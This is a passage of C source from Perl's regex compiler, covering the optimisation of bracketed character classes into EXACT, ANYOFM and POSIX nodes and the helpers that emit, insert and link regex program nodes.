value = folded; } else if ( FOLD || ! HAS_NONLATIN1_FOLD_CLOSURE(start[0])) { if (upper_latin1_only_utf8_matches) { op = EXACTF; /* We can't use the fold, as that only matches * under UTF-8 */ value = start[0]; } else if ( UNLIKELY(start[0] == MICRO_SIGN) && ! UTF) { /* EXACTFUP is a special node for this character */ op = (ASCII_FOLD_RESTRICTED) ? EXACTFAA : EXACTFUP; value = MICRO_SIGN; } else if ( ASCII_FOLD_RESTRICTED && ! isASCII(start[0])) { /* For ASCII under /iaa, we can use EXACTFU below */ op = EXACTFAA; value = folded; } else { op = EXACTFU; value = folded; } } } SvREFCNT_dec_NN(fold_list); SvREFCNT_dec(all_cp_list); } } if (op != END) { /* Here, we have calculated what EXACTish node we would use. * But we don't use it if it would require converting the * pattern to UTF-8, unless not using it could cause us to miss * some folds (hence be buggy) */ if (! UTF && value > 255) { SV * in_multis = NULL; assert(FOLD); /* If there is no code point that is part of a multi-char * fold, then there aren't any matches, so we don't do this * optimization. Otherwise, it could match depending on * the context around us, so we do upgrade */ _invlist_intersection(PL_InMultiCharFold, cp_list, &in_multis); if (UNLIKELY(_invlist_len(in_multis) != 0)) { REQUIRE_UTF8(flagp); } else { op = END; } } if (op != END) { U8 len = (UTF) ? UVCHR_SKIP(value) : 1; ret = regnode_guts(pRExC_state, op, len, "exact"); FILL_NODE(ret, op); RExC_emit += 1 + STR_SZ(len); STR_LEN(REGNODE_p(ret)) = len; if (len == 1) { *STRING(REGNODE_p(ret)) = (U8) value; } else { uvchr_to_utf8((U8 *) STRING(REGNODE_p(ret)), value); } goto not_anyof; } } } if (! has_runtime_dependency) { /* See if this can be turned into an ANYOFM node. Think about the * bit patterns in two different bytes. In some positions, the * bits in each will be 1; and in other positions both will be 0; * and in some positions the bit will be 1 in one byte, and 0 in * the other. Let 'n' be the number of positions where the bits * differ. We create a mask which has exactly 'n' 0 bits, each in * a position where the two bytes differ. Now take the set of all * bytes that when ANDed with the mask yield the same result. That * set has 2**n elements, and is representable by just two 8 bit * numbers: the result and the mask. Importantly, matching the set * can be vectorized by creating a word full of the result bytes, * and a word full of the mask bytes, yielding a significant speed * up. Here, see if this node matches such a set. As a concrete * example consider [01], and the byte representing '0' which is * 0x30 on ASCII machines. It has the bits 0011 0000. Take the * mask 1111 1110. If we AND 0x31 and 0x30 with that mask we get * 0x30. Any other bytes ANDed yield something else. So [01], * which is a common usage, is optimizable into ANYOFM, and can * benefit from the speed up. We can only do this on UTF-8 * invariant bytes, because they have the same bit patterns under * UTF-8 as not. */ PERL_UINT_FAST8_T inverted = 0; #ifdef EBCDIC const PERL_UINT_FAST8_T max_permissible = 0xFF; #else const PERL_UINT_FAST8_T max_permissible = 0x7F; #endif /* If doesn't fit the criteria for ANYOFM, invert and try again. * If that works we will instead later generate an NANYOFM, and * invert back when through */ if (invlist_highest(cp_list) > max_permissible) { _invlist_invert(cp_list); inverted = 1; } if (invlist_highest(cp_list) <= max_permissible) { UV this_start, this_end; UV lowest_cp = UV_MAX; /* inited to suppress compiler warn */ U8 bits_differing = 0; Size_t full_cp_count = 0; bool first_time = TRUE; /* Go through the bytes and find the bit positions that differ * */ invlist_iterinit(cp_list); while (invlist_iternext(cp_list, &this_start, &this_end)) { unsigned int i = this_start; if (first_time) { if (! UVCHR_IS_INVARIANT(i)) { goto done_anyofm; } first_time = FALSE; lowest_cp = this_start; /* We have set up the code point to compare with. * Don't compare it with itself */ i++; } /* Find the bit positions that differ from the lowest code * point in the node. Keep track of all such positions by * OR'ing */ for (; i <= this_end; i++) { if (! UVCHR_IS_INVARIANT(i)) { goto done_anyofm; } bits_differing |= i ^ lowest_cp; } full_cp_count += this_end - this_start + 1; } invlist_iterfinish(cp_list); /* At the end of the loop, we count how many bits differ from * the bits in lowest code point, call the count 'd'. If the * set we found contains 2**d elements, it is the closure of * all code points that differ only in those bit positions. To * convince yourself of that, first note that the number in the * closure must be a power of 2, which we test for. The only * way we could have that count and it be some differing set, * is if we got some code points that don't differ from the * lowest code point in any position, but do differ from each * other in some other position. That means one code point has * a 1 in that position, and another has a 0. But that would * mean that one of them differs from the lowest code point in * that position, which possibility we've already excluded. */ if ( (inverted || full_cp_count > 1) && full_cp_count == 1U << PL_bitcount[bits_differing]) { U8 ANYOFM_mask; op = ANYOFM + inverted;; /* We need to make the bits that differ be 0's */ ANYOFM_mask = ~ bits_differing; /* This goes into FLAGS */ /* The argument is the lowest code point */ ret = reganode(pRExC_state, op, lowest_cp); FLAGS(REGNODE_p(ret)) = ANYOFM_mask; } } done_anyofm: if (inverted) { _invlist_invert(cp_list); } if (op != END) { goto not_anyof; } } if (! (anyof_flags & ANYOF_LOCALE_FLAGS)) { PERL_UINT_FAST8_T type; SV * intersection = NULL; SV* d_invlist = NULL; /* See if this matches any of the POSIX classes. The POSIXA and * POSIXD ones are about the same speed as ANYOF ops, but take less * room; the ones that have above-Latin1 code point matches are * somewhat faster than ANYOF. */ for (type = POSIXA; type >= POSIXD; type--) { int posix_class; if (type == POSIXL) { /* But not /l posix classes */ continue; } for (posix_class = 0; posix_class <= _HIGHEST_REGCOMP_DOT_H_SYNC; posix_class++) { SV** our_code_points = &cp_list; SV** official_code_points; int try_inverted; if (type == POSIXA) { official_code_points = &PL_Posix_ptrs[posix_class]; } else { official_code_points = &PL_XPosix_ptrs[posix_class]; } /* Skip non-existent classes of this type. e.g. \v only * has an entry in PL_XPosix_ptrs */ if (! *official_code_points) { continue; } /* Try both the regular class, and its inversion */ for (try_inverted = 0; try_inverted < 2; try_inverted++) { bool this_inverted = invert ^ try_inverted; if (type != POSIXD) { /* This class that isn't /d can't match if we have * /d dependencies */ if (has_runtime_dependency & HAS_D_RUNTIME_DEPENDENCY) { continue; } } else /* is /d */ if (! this_inverted) { /* /d classes don't match anything non-ASCII below * 256 unconditionally (which cp_list contains) */ _invlist_intersection(cp_list, PL_UpperLatin1, &intersection); if (_invlist_len(intersection) != 0) { continue; } SvREFCNT_dec(d_invlist); d_invlist = invlist_clone(cp_list, NULL); /* But under UTF-8 it turns into using /u rules. * Add the things it matches under these conditions * so that we check below that these are identical * to what the tested class should match */ if (upper_latin1_only_utf8_matches) { _invlist_union( d_invlist, upper_latin1_only_utf8_matches, &d_invlist); } our_code_points = &d_invlist; } else { /* POSIXD, inverted. If this doesn't have this flag set, it isn't /d. */ if (! (anyof_flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER)) { continue; } our_code_points = &cp_list; } /* Here, have weeded out some things. We want to see * if the list of characters this node contains * ('*our_code_points') precisely matches those of the * class we are currently checking against * ('*official_code_points'). */ if (_invlistEQ(*our_code_points, *official_code_points, try_inverted)) { /* Here, they precisely match. Optimize this ANYOF * node into its equivalent POSIX one of the * correct type, possibly inverted */ ret = reg_node(pRExC_state, (try_inverted) ? type + NPOSIXA - POSIXA : type); FLAGS(REGNODE_p(ret)) = posix_class; SvREFCNT_dec(d_invlist); SvREFCNT_dec(intersection); goto not_anyof; } } } } SvREFCNT_dec(d_invlist); SvREFCNT_dec(intersection); } /* If didn't find an optimization and there is no need for a * bitmap, optimize to indicate that */ if ( start[0] >= NUM_ANYOF_CODE_POINTS && ! LOC && ! upper_latin1_only_utf8_matches && anyof_flags == 0) { UV highest_cp = invlist_highest(cp_list); /* If the lowest and highest code point in the class have the same * UTF-8 first byte, then all do, and we can store that byte for * regexec.c to use so that it can more quickly scan the target * string for potential matches for this class. We co-opt the the * flags field for this. Zero means, they don't have the same * first byte. We do accept here very large code points (for * future use), but don't bother with this optimization for them, * as it would cause other complications */ if (highest_cp > IV_MAX) { anyof_flags = 0; } else { U8 low_utf8[UTF8_MAXBYTES+1]; U8 high_utf8[UTF8_MAXBYTES+1]; (void) uvchr_to_utf8(low_utf8, start[0]); (void) uvchr_to_utf8(high_utf8, invlist_highest(cp_list)); anyof_flags = (low_utf8[0] == high_utf8[0]) ? low_utf8[0] : 0; } op = ANYOFH; } } /* End of seeing if can optimize it into a different node */ is_anyof: /* It's going to be an ANYOF node. */ if (op != ANYOFH) { op = (has_runtime_dependency & HAS_D_RUNTIME_DEPENDENCY) ? ANYOFD : ((posixl) ? ANYOFPOSIXL : ((LOC) ? ANYOFL : ANYOF)); } ret = regnode_guts(pRExC_state, op, regarglen[op], "anyof"); FILL_NODE(ret, op); /* We set the argument later */ RExC_emit += 1 + regarglen[op]; ANYOF_FLAGS(REGNODE_p(ret)) = anyof_flags; /* Here, <cp_list> contains all the code points we can determine at * compile time that match under all conditions. Go through it, and * for things that belong in the bitmap, put them there, and delete from * <cp_list>. While we are at it, see if everything above 255 is in the * list, and if so, set a flag to speed up execution */ populate_ANYOF_from_invlist(REGNODE_p(ret), &cp_list); if (posixl) { ANYOF_POSIXL_SET_TO_BITMAP(REGNODE_p(ret), posixl); } if (invert) { ANYOF_FLAGS(REGNODE_p(ret)) |= ANYOF_INVERT; } /* Here, the bitmap has been populated with all the Latin1 code points that * always match. Can now add to the overall list those that match only * when the target string is UTF-8 (<upper_latin1_only_utf8_matches>). * */ if (upper_latin1_only_utf8_matches) { if (cp_list) { _invlist_union(cp_list, upper_latin1_only_utf8_matches, &cp_list); SvREFCNT_dec_NN(upper_latin1_only_utf8_matches); } else { cp_list = upper_latin1_only_utf8_matches; } ANYOF_FLAGS(REGNODE_p(ret)) |= ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP; } set_ANYOF_arg(pRExC_state, REGNODE_p(ret), cp_list, (HAS_NONLOCALE_RUNTIME_PROPERTY_DEFINITION) ? listsv : NULL, only_utf8_locale_list); return ret; not_anyof: /* Here, the node is getting optimized into something that's not an ANYOF * one. Finish up. */ Set_Node_Offset_Length(REGNODE_p(ret), orig_parse - RExC_start, RExC_parse - orig_parse);; SvREFCNT_dec(cp_list);; return ret; } #undef HAS_NONLOCALE_RUNTIME_PROPERTY_DEFINITION STATIC void S_set_ANYOF_arg(pTHX_ RExC_state_t* const pRExC_state, regnode* const node, SV* const cp_list, SV* const runtime_defns, SV* const only_utf8_locale_list) { /* Sets the arg field of an ANYOF-type node 'node', using information about * the node passed-in. If there is nothing outside the node's bitmap, the * arg is set to ANYOF_ONLY_HAS_BITMAP. Otherwise, it sets the argument to * the count returned by add_data(), having allocated and stored an array, * av, as follows: * * av[0] stores the inversion list defining this class as far as known at * this time, or PL_sv_undef if nothing definite is now known. * av[1] stores the inversion list of code points that match only if the * current locale is UTF-8, or if none, PL_sv_undef if there is an * av[2], or no entry otherwise. * av[2] stores the list of user-defined properties whose subroutine * definitions aren't known at this time, or no entry if none. */ UV n; PERL_ARGS_ASSERT_SET_ANYOF_ARG; if (! cp_list && ! runtime_defns && ! only_utf8_locale_list) { assert(! (ANYOF_FLAGS(node) & ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP)); ARG_SET(node, ANYOF_ONLY_HAS_BITMAP); } else { AV * const av = newAV(); SV *rv; if (cp_list) { av_store(av, INVLIST_INDEX, cp_list); } if (only_utf8_locale_list) { av_store(av, ONLY_LOCALE_MATCHES_INDEX, only_utf8_locale_list); } if (runtime_defns) { av_store(av, DEFERRED_USER_DEFINED_INDEX, SvREFCNT_inc(runtime_defns)); } rv = newRV_noinc(MUTABLE_SV(av)); n = add_data(pRExC_state, STR_WITH_LEN("s")); RExC_rxi->data->data[n] = (void*)rv; ARG_SET(node, n); } } #if !defined(PERL_IN_XSUB_RE) || defined(PLUGGABLE_RE_EXTENSION) SV * Perl__get_regclass_nonbitmap_data(pTHX_ const regexp *prog, const regnode* node, bool doinit, SV** listsvp, SV** only_utf8_locale_ptr, SV** output_invlist) { /* For internal core use only. * Returns the inversion list for the input 'node' in the regex 'prog'. * If <doinit> is 'true', will attempt to create the inversion list if not * already done. * If <listsvp> is non-null, will return the printable contents of the * property definition. This can be used to get debugging information * even before the inversion list exists, by calling this function with * 'doinit' set to false, in which case the components that will be used * to eventually create the inversion list are returned (in a printable * form). * If <only_utf8_locale_ptr> is not NULL, it is where this routine is to * store an inversion list of code points that should match only if the * execution-time locale is a UTF-8 one. * If <output_invlist> is not NULL, it is where this routine is to store an * inversion list of the code points that would be instead returned in * <listsvp> if this were NULL. Thus, what gets output in <listsvp> * when this parameter is used, is just the non-code point data that * will go into creating the inversion list. This currently should be just * user-defined properties whose definitions were not known at compile * time. Using this parameter allows for easier manipulation of the * inversion list's data by the caller. It is illegal to call this * function with this parameter set, but not <listsvp> * * Tied intimately to how S_set_ANYOF_arg sets up the data structure. Note * that, in spite of this function's name, the inversion list it returns * may include the bitmap data as well */ SV *si = NULL; /* Input initialization string */ SV* invlist = NULL; RXi_GET_DECL(prog, progi); const struct reg_data * const data = prog ? progi->data : NULL; PERL_ARGS_ASSERT__GET_REGCLASS_NONBITMAP_DATA; assert(! output_invlist || listsvp); if (data && data->count) { const U32 n = ARG(node); if (data->what[n] == 's') { SV * const rv = MUTABLE_SV(data->data[n]); AV * const av = MUTABLE_AV(SvRV(rv)); SV **const ary = AvARRAY(av); invlist = ary[INVLIST_INDEX]; if (av_tindex_skip_len_mg(av) >= ONLY_LOCALE_MATCHES_INDEX) { *only_utf8_locale_ptr = ary[ONLY_LOCALE_MATCHES_INDEX]; } if (av_tindex_skip_len_mg(av) >= DEFERRED_USER_DEFINED_INDEX) { si = ary[DEFERRED_USER_DEFINED_INDEX]; } if (doinit && (si || invlist)) { if (si) { bool user_defined; SV * msg = newSVpvs_flags("", SVs_TEMP); SV * prop_definition = handle_user_defined_property( "", 0, FALSE, /* There is no \p{}, \P{} */ SvPVX_const(si)[1] - '0', /* /i or not has been stored here for just this occasion */ TRUE, /* run time */ FALSE, /* This call must find the defn */ si, /* The property definition */ &user_defined, msg, 0 /* base level call */ ); if (SvCUR(msg)) { assert(prop_definition == NULL); Perl_croak(aTHX_ "%" UTF8f, UTF8fARG(SvUTF8(msg), SvCUR(msg), SvPVX(msg))); } if (invlist) { _invlist_union(invlist, prop_definition, &invlist); SvREFCNT_dec_NN(prop_definition); } else { invlist = prop_definition; } STATIC_ASSERT_STMT(ONLY_LOCALE_MATCHES_INDEX == 1 + INVLIST_INDEX); STATIC_ASSERT_STMT(DEFERRED_USER_DEFINED_INDEX == 1 + ONLY_LOCALE_MATCHES_INDEX); av_store(av, INVLIST_INDEX, invlist); av_fill(av, (ary[ONLY_LOCALE_MATCHES_INDEX]) ? ONLY_LOCALE_MATCHES_INDEX: INVLIST_INDEX); si = NULL; } } } } /* If requested, return a printable version of what this ANYOF node matches * */ if (listsvp) { SV* matches_string = NULL; /* This function can be called at compile-time, before everything gets * resolved, in which case we return the currently best available * information, which is the string that will eventually be used to do * that resolving, 'si' */ if (si) { /* Here, we only have 'si' (and possibly some passed-in data in * 'invlist', which is handled below) If the caller only wants * 'si', use that. */ if (! output_invlist) { matches_string = newSVsv(si); } else { /* But if the caller wants an inversion list of the node, we * need to parse 'si' and place as much as possible in the * desired output inversion list, making 'matches_string' only * contain the currently unresolvable things */ const char *si_string = SvPVX(si); STRLEN remaining = SvCUR(si); UV prev_cp = 0; U8 count = 0; /* Ignore everything before the first new-line */ while (*si_string != '\n' && remaining > 0) { si_string++; remaining--; } assert(remaining > 0); si_string++; remaining--; while (remaining > 0) { /* The data consists of just strings defining user-defined * property names, but in prior incarnations, and perhaps * somehow from pluggable regex engines, it could still * hold hex code point definitions. Each component of a * range would be separated by a tab, and each range by a * new-line. If these are found, instead add them to the * inversion list */ I32 grok_flags = PERL_SCAN_SILENT_ILLDIGIT |PERL_SCAN_SILENT_NON_PORTABLE; STRLEN len = remaining; UV cp = grok_hex(si_string, &len, &grok_flags, NULL); /* If the hex decode routine found something, it should go * up to the next \n */ if ( *(si_string + len) == '\n') { if (count) { /* 2nd code point on line */ *output_invlist = _add_range_to_invlist(*output_invlist, prev_cp, cp); } else { *output_invlist = add_cp_to_invlist(*output_invlist, cp); } count = 0; goto prepare_for_next_iteration; } /* If the hex decode was instead for the lower range limit, * save it, and go parse the upper range limit */ if (*(si_string + len) == '\t') { assert(count == 0); prev_cp = cp; count = 1; prepare_for_next_iteration: si_string += len + 1; remaining -= len + 1; continue; } /* Here, didn't find a legal hex number. Just add it from * here to the next \n */ remaining -= len; while (*(si_string + len) != '\n' && remaining > 0) { remaining--; len++; } if (*(si_string + len) == '\n') { len++; remaining--; } if (matches_string) { sv_catpvn(matches_string, si_string, len - 1); } else { matches_string = newSVpvn(si_string, len - 1); } si_string += len; sv_catpvs(matches_string, " "); } /* end of loop through the text */ assert(matches_string); if (SvCUR(matches_string)) { /* Get rid of trailing blank */ SvCUR_set(matches_string, SvCUR(matches_string) - 1); } } /* end of has an 'si' */ } /* Add the stuff that's already known */ if (invlist) { /* Again, if the caller doesn't want the output inversion list, put * everything in 'matches-string' */ if (! output_invlist) { if ( ! matches_string) { matches_string = newSVpvs("\n"); } sv_catsv(matches_string, invlist_contents(invlist, TRUE /* traditional style */ )); } else if (! *output_invlist) { *output_invlist = invlist_clone(invlist, NULL); } else { _invlist_union(*output_invlist, invlist, output_invlist); } } *listsvp = matches_string; } return invlist; } #endif /* !defined(PERL_IN_XSUB_RE) || defined(PLUGGABLE_RE_EXTENSION) */ /* reg_skipcomment() Absorbs an /x style # comment from the input stream, returning a pointer to the first character beyond the comment, or if the comment terminates the pattern without anything following it, this returns one past the final character of the pattern (in other words, RExC_end) and sets the REG_RUN_ON_COMMENT_SEEN flag. Note it's the callers responsibility to ensure that we are actually in /x mode */ PERL_STATIC_INLINE char* S_reg_skipcomment(RExC_state_t *pRExC_state, char* p) { PERL_ARGS_ASSERT_REG_SKIPCOMMENT; assert(*p == '#'); while (p < RExC_end) { if (*(++p) == '\n') { return p+1; } } /* we ran off the end of the pattern without ending the comment, so we have * to add an \n when wrapping */ RExC_seen |= REG_RUN_ON_COMMENT_SEEN; return p; } STATIC void S_skip_to_be_ignored_text(pTHX_ RExC_state_t *pRExC_state, char ** p, const bool force_to_xmod ) { /* If the text at the current parse position '*p' is a '(?#...)' comment, * or if we are under /x or 'force_to_xmod' is TRUE, and the text at '*p' * is /x whitespace, advance '*p' so that on exit it points to the first * byte past all such white space and comments */ const bool use_xmod = force_to_xmod || (RExC_flags & RXf_PMf_EXTENDED); PERL_ARGS_ASSERT_SKIP_TO_BE_IGNORED_TEXT; assert( ! UTF || UTF8_IS_INVARIANT(**p) || UTF8_IS_START(**p)); for (;;) { if (RExC_end - (*p) >= 3 && *(*p) == '(' && *(*p + 1) == '?' && *(*p + 2) == '#') { while (*(*p) != ')') { if ((*p) == RExC_end) FAIL("Sequence (?#... not terminated"); (*p)++; } (*p)++; continue; } if (use_xmod) { const char * save_p = *p; while ((*p) < RExC_end) { STRLEN len; if ((len = is_PATWS_safe((*p), RExC_end, UTF))) { (*p) += len; } else if (*(*p) == '#') { (*p) = reg_skipcomment(pRExC_state, (*p)); } else { break; } } if (*p != save_p) { continue; } } break; } return; } /* nextchar() Advances the parse position by one byte, unless that byte is the beginning of a '(?#...)' style comment, or is /x whitespace and /x is in effect. In those two cases, the parse position is advanced beyond all such comments and white space. This is the UTF, (?#...), and /x friendly way of saying RExC_parse++. */ STATIC void S_nextchar(pTHX_ RExC_state_t *pRExC_state) { PERL_ARGS_ASSERT_NEXTCHAR; if (RExC_parse < RExC_end) { assert( ! UTF || UTF8_IS_INVARIANT(*RExC_parse) || UTF8_IS_START(*RExC_parse)); RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force /x */ ); } } STATIC void S_change_engine_size(pTHX_ RExC_state_t *pRExC_state, const Ptrdiff_t size) { /* 'size' is the delta to add or subtract from the current memory allocated * to the regex engine being constructed */ PERL_ARGS_ASSERT_CHANGE_ENGINE_SIZE; RExC_size += size; Renewc(RExC_rxi, sizeof(regexp_internal) + (RExC_size + 1) * sizeof(regnode), /* +1 for REG_MAGIC */ char, regexp_internal); if ( RExC_rxi == NULL ) FAIL("Regexp out of space"); RXi_SET(RExC_rx, RExC_rxi); RExC_emit_start = RExC_rxi->program; if (size > 0) { Zero(REGNODE_p(RExC_emit), size, regnode); } #ifdef RE_TRACK_PATTERN_OFFSETS Renew(RExC_offsets, 2*RExC_size+1, U32); if (size > 0) { Zero(RExC_offsets + 2*(RExC_size - size) + 1, 2 * size, U32); } RExC_offsets[0] = RExC_size; #endif } STATIC regnode_offset S_regnode_guts(pTHX_ RExC_state_t *pRExC_state, const U8 op, const STRLEN extra_size, const char* const name) { /* Allocate a regnode for 'op', with 'extra_size' extra space. It aligns * and increments RExC_size and RExC_emit * * It returns the regnode's offset into the regex engine program */ const regnode_offset ret = RExC_emit; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGNODE_GUTS; SIZE_ALIGN(RExC_size); change_engine_size(pRExC_state, (Ptrdiff_t) 1 + extra_size); NODE_ALIGN_FILL(REGNODE_p(ret)); #ifndef RE_TRACK_PATTERN_OFFSETS PERL_UNUSED_ARG(name); PERL_UNUSED_ARG(op); #else assert(extra_size >= regarglen[op] || PL_regkind[op] == ANYOF); if (RExC_offsets) { /* MJD */ MJD_OFFSET_DEBUG( ("%s:%d: (op %s) %s %" UVuf " (len %" UVuf ") (max %" UVuf ").\n", name, __LINE__, PL_reg_name[op], (UV)(RExC_emit) > RExC_offsets[0] ? "Overwriting end of array!\n" : "OK", (UV)(RExC_emit), (UV)(RExC_parse - RExC_start), (UV)RExC_offsets[0])); Set_Node_Offset(REGNODE_p(RExC_emit), RExC_parse + (op == END)); } #endif return(ret); } /* - reg_node - emit a node */ STATIC regnode_offset /* Location. */ S_reg_node(pTHX_ RExC_state_t *pRExC_state, U8 op) { const regnode_offset ret = regnode_guts(pRExC_state, op, regarglen[op], "reg_node"); regnode_offset ptr = ret; PERL_ARGS_ASSERT_REG_NODE; assert(regarglen[op] == 0); FILL_ADVANCE_NODE(ptr, op); RExC_emit = ptr; return(ret); } /* - reganode - emit a node with an argument */ STATIC regnode_offset /* Location. */ S_reganode(pTHX_ RExC_state_t *pRExC_state, U8 op, U32 arg) { const regnode_offset ret = regnode_guts(pRExC_state, op, regarglen[op], "reganode"); regnode_offset ptr = ret; PERL_ARGS_ASSERT_REGANODE; /* ANYOF are special cased to allow non-length 1 args */ assert(regarglen[op] == 1); FILL_ADVANCE_NODE_ARG(ptr, op, arg); RExC_emit = ptr; return(ret); } STATIC regnode_offset S_reg2Lanode(pTHX_ RExC_state_t *pRExC_state, const U8 op, const U32 arg1, const I32 arg2) { /* emit a node with U32 and I32 arguments */ const regnode_offset ret = regnode_guts(pRExC_state, op, regarglen[op], "reg2Lanode"); regnode_offset ptr = ret; PERL_ARGS_ASSERT_REG2LANODE; assert(regarglen[op] == 2); FILL_ADVANCE_NODE_2L_ARG(ptr, op, arg1, arg2); RExC_emit = ptr; return(ret); } /* - reginsert - insert an operator in front of already-emitted operand * * That means that on exit 'operand' is the offset of the newly inserted * operator, and the original operand has been relocated. * * IMPORTANT NOTE - it is the *callers* responsibility to correctly * set up NEXT_OFF() of the inserted node if needed. Something like this: * * reginsert(pRExC, OPFAIL, orig_emit, depth+1); * NEXT_OFF(orig_emit) = regarglen[OPFAIL] + NODE_STEP_REGNODE; * * ALSO NOTE - FLAGS(newly-inserted-operator) will be set to 0 as well. */ STATIC void S_reginsert(pTHX_ RExC_state_t *pRExC_state, const U8 op, const regnode_offset operand, const U32 depth) { regnode *src; regnode *dst; regnode *place; const int offset = regarglen[(U8)op]; const int size = NODE_STEP_REGNODE + offset; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGINSERT; PERL_UNUSED_CONTEXT; PERL_UNUSED_ARG(depth); /* (PL_regkind[(U8)op] == CURLY ? EXTRA_STEP_2ARGS : 0); */ DEBUG_PARSE_FMT("inst"," - %s", PL_reg_name[op]); assert(!RExC_study_started); /* I believe we should never use reginsert once we have started studying. If this is wrong then we need to adjust RExC_recurse below like we do with RExC_open_parens/RExC_close_parens. */ change_engine_size(pRExC_state, (Ptrdiff_t) size); src = REGNODE_p(RExC_emit); RExC_emit += size; dst = REGNODE_p(RExC_emit); /* If we are in a "count the parentheses" pass, the numbers are unreliable, * and [perl #133871] shows this can lead to problems, so skip this * realignment of parens until a later pass when they are reliable */ if (! IN_PARENS_PASS && RExC_open_parens) { int paren; /*DEBUG_PARSE_FMT("inst"," - %" IVdf, (IV)RExC_npar);*/ /* remember that RExC_npar is rex->nparens + 1, * iow it is 1 more than the number of parens seen in * the pattern so far. */ for ( paren=0 ; paren < RExC_npar ; paren++ ) { /* note, RExC_open_parens[0] is the start of the * regex, it can't move. RExC_close_parens[0] is the end * of the regex, it *can* move. */ if ( paren && RExC_open_parens[paren] >= operand ) { /*DEBUG_PARSE_FMT("open"," - %d", size);*/ RExC_open_parens[paren] += size; } else { /*DEBUG_PARSE_FMT("open"," - %s","ok");*/ } if ( RExC_close_parens[paren] >= operand ) { /*DEBUG_PARSE_FMT("close"," - %d", size);*/ RExC_close_parens[paren] += size; } else { /*DEBUG_PARSE_FMT("close"," - %s","ok");*/ } } } if (RExC_end_op) RExC_end_op += size; while (src > REGNODE_p(operand)) { StructCopy(--src, --dst, regnode); #ifdef RE_TRACK_PATTERN_OFFSETS if (RExC_offsets) { /* MJD 20010112 */ MJD_OFFSET_DEBUG( ("%s(%d): (op %s) %s copy %" UVuf " -> %" UVuf " (max %" UVuf ").\n", "reginsert", __LINE__, PL_reg_name[op], (UV)(REGNODE_OFFSET(dst)) > RExC_offsets[0] ? "Overwriting end of array!\n" : "OK", (UV)REGNODE_OFFSET(src), (UV)REGNODE_OFFSET(dst), (UV)RExC_offsets[0])); Set_Node_Offset_To_R(REGNODE_OFFSET(dst), Node_Offset(src)); Set_Node_Length_To_R(REGNODE_OFFSET(dst), Node_Length(src)); } #endif } place = REGNODE_p(operand); /* Op node, where operand used to be. */ #ifdef RE_TRACK_PATTERN_OFFSETS if (RExC_offsets) { /* MJD */ MJD_OFFSET_DEBUG( ("%s(%d): (op %s) %s %" UVuf " <- %" UVuf " (max %" UVuf ").\n", "reginsert", __LINE__, PL_reg_name[op], (UV)REGNODE_OFFSET(place) > RExC_offsets[0] ? "Overwriting end of array!\n" : "OK", (UV)REGNODE_OFFSET(place), (UV)(RExC_parse - RExC_start), (UV)RExC_offsets[0])); Set_Node_Offset(place, RExC_parse); Set_Node_Length(place, 1); } #endif src = NEXTOPER(place); FLAGS(place) = 0; FILL_NODE(operand, op); /* Zero out any arguments in the new node */ Zero(src, offset, regnode); } /* - regtail - set the next-pointer at the end of a node chain of p to val. If that value won't fit in the space available, instead returns FALSE. (Except asserts if we can't fit in the largest space the regex engine is designed for.) - SEE ALSO: regtail_study */ STATIC bool S_regtail(pTHX_ RExC_state_t * pRExC_state, const regnode_offset p, const regnode_offset val, const U32 depth) { regnode_offset scan; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGTAIL; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif /* Find last node. */ scan = (regnode_offset) p; for (;;) { regnode * const temp = regnext(REGNODE_p(scan)); DEBUG_PARSE_r({ DEBUG_PARSE_MSG((scan==p ? "tail" : "")); regprop(RExC_rx, RExC_mysv, REGNODE_p(scan), NULL, pRExC_state); Perl_re_printf( aTHX_ "~ %s (%d) %s %s\n", SvPV_nolen_const(RExC_mysv), scan, (temp == NULL ? "->" : ""), (temp == NULL ? PL_reg_name[OP(REGNODE_p(val))] : "") ); }); if (temp == NULL) break; scan = REGNODE_OFFSET(temp); } if (reg_off_by_arg[OP(REGNODE_p(scan))]) { assert((UV) (val - scan) <= U32_MAX); ARG_SET(REGNODE_p(scan), val - scan); } else { if (val - scan > U16_MAX) { /* Populate this with something that won't loop and will likely * lead to a crash if the caller ignores the failure return, and * execution continues */ NEXT_OFF(REGNODE_p(scan)) = U16_MAX; return FALSE; } NEXT_OFF(REGNODE_p(scan)) = val - scan; } return TRUE; } #ifdef DEBUGGING /* - regtail_study - set the next-pointer at the end of a node chain of p to val. - Look for optimizable sequences at the same time. - currently only looks for EXACT chains. This is experimental code. The idea is to use this routine to perform in place optimizations on branches and groups as they are constructed, with the long term intention of removing optimization from study_chunk so that it is purely analytical. Currently only used when in DEBUG mode. The macro REGTAIL_STUDY() is used to control which is which. This used to return a value that was ignored. It was a problem that it is #ifdef'd to be another function that didn't return a value. khw has changed it so both currently return a pass/fail return. */ /* TODO: All four parms should be const */ STATIC bool S_regtail_study(pTHX_ RExC_state_t *pRExC_state, regnode_offset p, const regnode_offset val, U32 depth) { regnode_offset scan; U8 exact = PSEUDO; #ifdef EXPERIMENTAL_INPLACESCAN I32 min = 0; #endif GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_REGTAIL_STUDY; /* Find last node. */ scan = p; for (;;) { regnode * const temp = regnext(REGNODE_p(scan)); #ifdef EXPERIMENTAL_INPLACESCAN if (PL_regkind[OP(REGNODE_p(scan))] == EXACT) { bool unfolded_multi_char; /* Unexamined in this routine */ if (join_exact(pRExC_state, scan, &min, &unfolded_multi_char, 1, REGNODE_p(val), depth+1)) return TRUE; /* Was return EXACT */ } #endif if ( exact ) { switch (OP(REGNODE_p(scan))) { case EXACT: case EXACT_ONLY8: case EXACTL: case EXACTF: case EXACTFU_S_EDGE: case EXACTFAA_NO_TRIE: case EXACTFAA: case EXACTFU: case EXACTFU_ONLY8: case EXACTFLU8: case EXACTFUP: case EXACTFL: if( exact == PSEUDO ) exact= OP(REGNODE_p(scan)); else if ( exact != OP(REGNODE_p(scan)) ) exact= 0; case NOTHING: break; default: exact= 0; } } DEBUG_PARSE_r({ 